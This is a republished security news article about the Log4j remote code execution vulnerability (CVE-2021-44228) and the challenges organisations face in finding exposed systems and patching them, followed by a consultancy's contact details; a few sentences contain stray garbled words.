Security teams working hard to mitigate their organization’s exposure to the Log4j vulnerability have many challenges to overcome. Includes scoping the entire exposure, finding workarounds for unmatchable systems, and ensuring third-party products and services are secured.
For many, the task will be further complicated by the need to constantly monitor for signs of attackers attempting to exploit vulnerabilities or signs they may have been compromised, experts say. security said this week.
Log4j is a logging engine present in most Java applications. A critical remote code execution vulnerability (CVE-2021-44228) exists in Log4j versions from 2.0-beta9 to 2.14.1 that allows attackers to take complete control of vulnerable systems. The Apache Foundation released an updated version of the tool (Apache Log4j 2.15.0) last week, then released a second update on Tuesday because the initial fix did not fully protect against attacks. Denial of service (DoS) attacks and data theft.
The vulnerability is considered one of the most dangerous in recent memory because it is easy to exploit and present in almost every IT environment. Veracode, for example, shows that 88% of its customers use some version of Log4j and 58% have a vulnerable version in their environment.
Attackers around the world have been trying to exploit this vulnerability since it was first disclosed last week. Many vendors have observed attempts to distribute coin miners, ransomware, remote access Trojans, Web shells, and botnet malware. Armis on Wednesday reported about 35% of its customers are being attacked through security vulnerabilities and 31% have Log4j-related threats on unmanaged devices. The security vendor said it observed 30,000 exploit attempts against its customers. Several other providers have reported similar activity.
Armis sees the most targeted assets in IT environments by far being servers, virtual machines, and mobile devices. In OT networks, 49% of compromised devices are virtual machines and 43% are servers. Other targeted devices in OT networks include IP cameras, human-machine interface (HMI) devices, and SCADA systems.
According to security experts, a major challenge organizations face in protecting against attacks targeting Log4j is finding their exposure to the threat. Security vulnerabilities can appear not only on an organization’s Internet-exposed assets, but also on internal and back-end systems, network switches, SIEM, and logging systems. other signatures, third-party and internally developed applications, in SaaS and cloud services, and environments they may not even know about. The interdependencies between different applications and components mean that even if a component does not directly have a security vulnerability, it can still be affected by it.
Noname Security said the way Java is packaged can often make it difficult to identify affected applications. For example, a Java archive (JAR) file may contain all the dependencies – including the Log4j library – of a particular component. But that JAR file could contain another JAR file, which, in turn, could contain yet another JAR file – essentially burying a multi-layered security hole, the security vendor said.
“One of the key challenges organizations face in mitigating the vulnerabilities found in Log4j is identifying all compromised assets,” said Gustavo Palazolo, threat research engineer at Netskope. violate. The Java-based logging library Log4j Apache is popular and can be used by many applications, as well as IoT devices and legacy systems maintained for backward compatibility, he added.
Even if an application is found to be vulnerable, updating it can be difficult because an organization may not be able to afford downtime or lack adequate patch management controls. fit.
“As a result, the time between identifying all compromised systems and fixing the problem can take a long time in some cases,” Palazolo said.
The application is not the only problem. The Log4j vulnerability could also affect the application programming interface (API) environment. Vulnerable API servers provide an attractive attack vector because many organizations have limited visibility into their API inventory and the behavior of their APIs, Noname said. A business that is not using the Log4j logging framework may be using trusted third-party APIs that contain Log4j vulnerabilities, thus putting it at risk.
“For an organization to minimize the risk of Log4j vulnerabilities being exploited through the API, several steps must be taken,” said Aner Morag, vice president of technology at Noname Security. These include referencing all servers serving the API to any Java service, not allowing any user input to reach log messages on any API server, using proxies or another mechanism to control which servers the back-end service can connect to and place APIs behind an API gateway or load balancer, Morag said.
Another challenge organizations face is ensuring all third-party products and services they use are properly patched or have vulnerability mitigation measures in place.
“So many vendor products are affected, the list of affected vendors is growing every day,” said Tom Gorup, vice president of security operations at Alert Logic. “Not all vendors may have patches available.”
Gorup recommends that security teams check vendors’ websites or contact them directly to see if any of their products are affected. A supplier may be vulnerable to an attack but has put in place mitigation steps to protect its customers.
Source: darkreading.com
Vina Aspire is a consulting company, providing IT solutions and services, network security, information security & safety in Vietnam. Vina Aspire’s team includes skilled, qualified, experienced and reputable experts and collaborators, along with major domestic and foreign investors and partners to join hands in building.
Businesses and organizations wishing to contact Vina Aspire Company with the following information:
Email: info@vina-aspire.com | Website: www.vina-aspire.com
Tel: +84 944 004 666 | Fax: +84 28 3535 0668
Vina Aspire – Vững bảo mật, trọn niềm tin
